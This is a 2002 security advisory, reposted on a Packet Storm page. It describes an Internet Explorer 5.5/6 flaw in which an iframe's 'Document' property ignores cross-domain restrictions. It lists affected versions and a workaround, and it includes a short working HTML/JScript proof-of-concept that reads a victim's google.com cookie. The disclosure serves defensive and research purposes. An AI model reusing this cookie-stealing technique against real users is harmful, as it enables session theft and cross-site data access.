exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

gm011-ie.txt

gm011-ie.txt
Posted Oct 17, 2002
Authored by GreyMagic Software | Site security.greymagic.com

Internet Explorer 5.5 SP2 and Internet Explorer 6 allow the oIFrameElement.Document reference to return a document with no security restrictions, allowing remote attackers to steal cookies from any site, gain access to content in sites (forging content), read local files and execute arbitrary programs on the client's machine. Exploit HTML included which reads the client's google.com cookie. IE6 SP1 is not affected. Four demonstration exploits are available here.

tags | exploit, remote, arbitrary, local
SHA-256 | edee121c0f0aa5b69ff4f7f5dfedea6a19e4da0a66f54e210fe0ff60e1f71964

gm011-ie.txt

Change Mirror Download
GreyMagic Security Advisory GM#011-IE
=====================================

By GreyMagic Software, Israel.
15 Oct 2002.

Available in HTML format at http://security.greymagic.com/adv/gm011-ie/.

Topic: Internet Explorer : The D-Day.

Discovery date: 26 Sep 2002.

Affected applications:
======================

Microsoft Internet Explorer 5.5 and 6.0; prior versions and IE6 SP1 are not
vulnerable.

Note that any other application that uses Internet Explorer's engine
(WebBrowser control) is affected as well (Outlook under the Internet zone,
MSN Explorer, etc.).


Introduction:
=============

The <frame> and <iframe> elements may contain URLs in other domains or
protocols, and therefore have strict security rules, which prevent frames in
one domain to access content and information in another. Microsoft explains
the issue in this Cross-Frame Scripting article -
http://msdn.microsoft.com/workshop/author/om/xframe_scripting_security.asp.

There are several ways to refer to an <iframe>'s (or <frame>) document in
Internet Explorer (assuming <iframe id="oFrameId">):

* oFrameId.document
* document.all.oFrameId.contentWindow.document
* frames.oFrameId.document
* And others..

All these methods are handled correctly by Internet Explorer and prevent any
attempt to access a document that originates from a foreign domain.


Discussion:
===========

The <iframe> and <frame> elements are really instances of the WebBrowser
control supplied by Microsoft. The WebBrowser control exposes several
potentially dangerous properties by default, which Microsoft overrides in
Internet Explorer.

However, Microsoft missed out on one important property -- "Document", with
a capital "D".

Normally, using "oElement.document" would provide a reference to the
document that owns the current element. The same applies to the <frame> and
<iframe> elements. However, we discovered that when
"oIFrameElement.Document" is used, the returned document is the one
contained inside the frame, and there are no security restrictions in place
to check if it's in a different domain.

This provides free and full access to the frame's Document Object Model,
which allows an attacker to steal cookies from any site, gain access to
content in sites (forging content), read local files and execute arbitrary
programs on the client's machine (script in the "My Computer" zone).

Both Internet Explorer 5.5 SP2 and Internet Explorer 6 are vulnerable, but
surprisingly this vulnerability does not exist in IE6 SP1. It's hard to
believe that Microsoft actually meant to plug it as IE5.5 remains
vulnerable, yet somehow this stray property is now protected.


Exploit:
========

This exploit demonstrates how an attacker may choose to read the client's
"google.com" cookie.

<script language="jscript">
onload=function () {
    // Timer necessary to prevent weird behavior in some conditions
    setTimeout(
        function () {
            alert(document.getElementById("oVictim").Document.cookie);
        },
        100
    );
}
</script>
<iframe src="http://google.com" id="oVictim"></iframe>


Solution:
=========

Until a patch becomes available either disable Active Scripting or upgrade
to IE6 SP1.


Tested on:
==========

IE5.5 Win98.
IE5.5 NT4.
IE6 Win98.
IE6 Win2000.
IE6 WinXP.


Demonstration:
==============

We put together four proof-of-concept demonstrations:

* Simple: Reads the client's "google.com" cookie.
* D-Day Console: Automatically load and execute commands on any site.
* D-Day Reading: Read local files by accessing a res:// URL.
* D-Day Execution: Execute arbitrary programs by accessing a res:// URL.

They can all be found at http://security.greymagic.com/adv/gm011-ie/.


Feedback:
=========

Please mail any questions or comments to security@greymagic.com.

- Copyright © 2002 GreyMagic Software.

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close